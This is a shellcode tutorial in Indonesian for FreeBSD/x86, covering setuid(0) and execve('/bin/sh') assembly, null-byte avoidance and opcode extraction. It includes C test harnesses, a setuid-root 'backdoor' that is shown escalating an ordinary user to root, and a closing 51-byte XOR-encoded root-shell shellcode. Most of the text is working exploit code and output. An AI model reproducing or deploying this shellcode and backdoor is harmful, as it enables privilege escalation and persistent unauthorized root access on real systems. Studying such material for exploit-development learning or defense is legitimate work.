#define	SYS_setuid	23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17 
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
ev1lut10n# cat /usr/include/unistd.h | grep setuid
int	 setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan 
pemasukanya selalu : eax, ebx, ecx, edx, esi 

ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan 
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep exit
#define	SYS_exit	1
#define	SYS_thr_exit	431
ev1lut10n# 
-----------------------
yang akan kita pakai adl yg ini:
#define	SYS_exit	1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi 
syscall exit:

keluar:
mov     eax,0x01
int     80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17 
int 80h

keluar:
push    byte 0x01
pop     eax
int     80h

-----------------


misal namanya setuid_exit.asm

ev1lut10n# nasm -f elf setuid_exit.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o


ev1lut10n# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
ev1lut10n# objdump -d setuid_exit
setuid_exit:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
 8048080:	31 c0                	xor    %eax,%eax
 8048082:	50                   	push   %eax
 8048083:	50                   	push   %eax
 8048084:	b8 17 00 00 00       	mov    $0x17,%eax
 8048089:	cd 80                	int    $0x80

0804808b <keluar>:
 804808b:	6a 01                	push   $0x1
 804808d:	58                   	pop    %eax
 804808e:	cd 80                	int    $0x80
ev1lut10n# 
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada 
null string, jadi kita pake register 8 bit: al

mov    $0x17,%eax   

menjadi:


mov    $0x17,%al


kompile:
ev1lut10n# nasm -f elf setuid_exit2.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o

ev1lut10n# objdump -d setuid_exit2

setuid_exit2:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
 8048080:	31 c0                	xor    %eax,%eax
 8048082:	50                   	push   %eax
 8048083:	50                   	push   %eax
 8048084:	b0 17                	mov    $0x17,%al
 8048086:	cd 80                	int    $0x80

08048088 <keluar>:
 8048088:	6a 01                	push   $0x1
 804808a:	58                   	pop    %eax
 804808b:	cd 80                	int    $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80


--------------------
/**freebsd setuid then exit shellcode made by: ev1lut10n**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
        fprintf(stdout,"Length: %d\n",strlen(shellcode)); 
        (*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

ev1lut10n# gcc -o keluar keluar.c
ev1lut10n# ./keluar
Length: 13
ev1lut10n# 

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80
  1   2   3   4   5   6   7   8   9   10  11  12  13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid 
execve /bin/sh


------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep execve
#define	SYS_execve	59
#define	SYS___mac_execve	415
#define	SYS_fexecve	492
ev1lut10n# 
-------------------

yang akan dipakai adalah yg: #define	SYS_execve	59 

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include <unistd.h>

     int
     execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor    eax,eax; eax diset ke null 
push   byte 0 ;sama dengan push eax
push   '//sh' ;alamat //sh disimpan ke stack
push   '/bin'
mov    ebx,esp 
push   byte 0 ;sama dengan push eax
push   esp
push   ebx
push   byte 0
mov    al,0x3b ;syscall execve
int    80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor    eax,eax
push   byte 0
push   byte 0
mov    al,0x17
int    80h

xor    eax,eax
push   byte 0
push   '//sh'
push   '/bin'
mov    ebx,esp
push   byte 0
push   esp
push   ebx
push   byte 0
mov    al,0x3b
int    80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
ev1lut10n# nasm -f elf suid.asm -g
ev1lut10n# ld -o suid suid.o
ev1lut10n# gdb -q suid
(gdb) l
1	;copyleft by dom dom aka m0nk3y
2	global _start
3	section .text
4	_start:
5	xor    eax,eax
6	push   byte 0
7	push   byte 0
8	mov    al,0x17
9	int    80h
10	
(gdb) l
11	xor    eax,eax
12	push   byte 0
13	push   '//sh'
14	push   '/bin'
15	mov    ebx,esp
16	push   byte 0
17	push   esp
18	push   ebx
19	push   byte 0
20	mov    al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x0	0
ebx            0xbfbfe9f0	-1077941776
esp            0xbfbfe9f0	0xbfbfe9f0
ebp            0x0	0x0
esi            0x0	0
edi            0x0	0
eip            0x804809a	0x804809a
eflags         0x246	582
cs             0x33	51
ss             0x3b	59
ds             0x3b	59
es             0x3b	59
fs             0x3b	59
gs             0x3b	59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:	 "/bin//sh"
(gdb) 

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13	push   '//sh'
14	push   '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15	mov    ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:	 "/bin//sh"
(gdb) 

0xbfbfe9f0 adlaah alamat /bin/sh 

mulai break di baris ke 16 sehingga ebx :
ebx            0xbfbfe9f0	-1077941776

(gdb) x/s -1077941776
0xbfbfe9f0:	 "/bin//sh"
(gdb) 


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid 

Breakpoint 1, 0x080480a2 in _start ()

ev1lut10n# nasm -f elf suid.asm
ev1lut10n# ld -o suid suid.o
ev1lut10n# chmod u+s suid
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011     
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n# su ev1lut10n
$ id
uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n)
# 

(gdb) i r
eax            0x3b	59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana 
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al 
dengan 
0x3b maka eax=0x3b 


Bonus Stage:
===============================================
/**
Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh
Date : Sun May 29 08:07:11 UTC 2011
Author; ev1lut10n (antonsoft_2004@yahoo.com)
Web : devilzc0de.org

Tested on: FreeBSD 8.2-RELEASE i386
special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel, 
net_spy, and all my friends
**/
#include <stdio.h>
#include <string.h>
int main()
{
char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\xc2\x73\x82"
"\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\xa1\x12\x16"
"\x11\x12\xf2\x79\x8f\xc2";
fprintf(stdout,"Length: %d\n",strlen(sc)); 
 (*(void(*)()) sc)();
	return 0;
}
================================================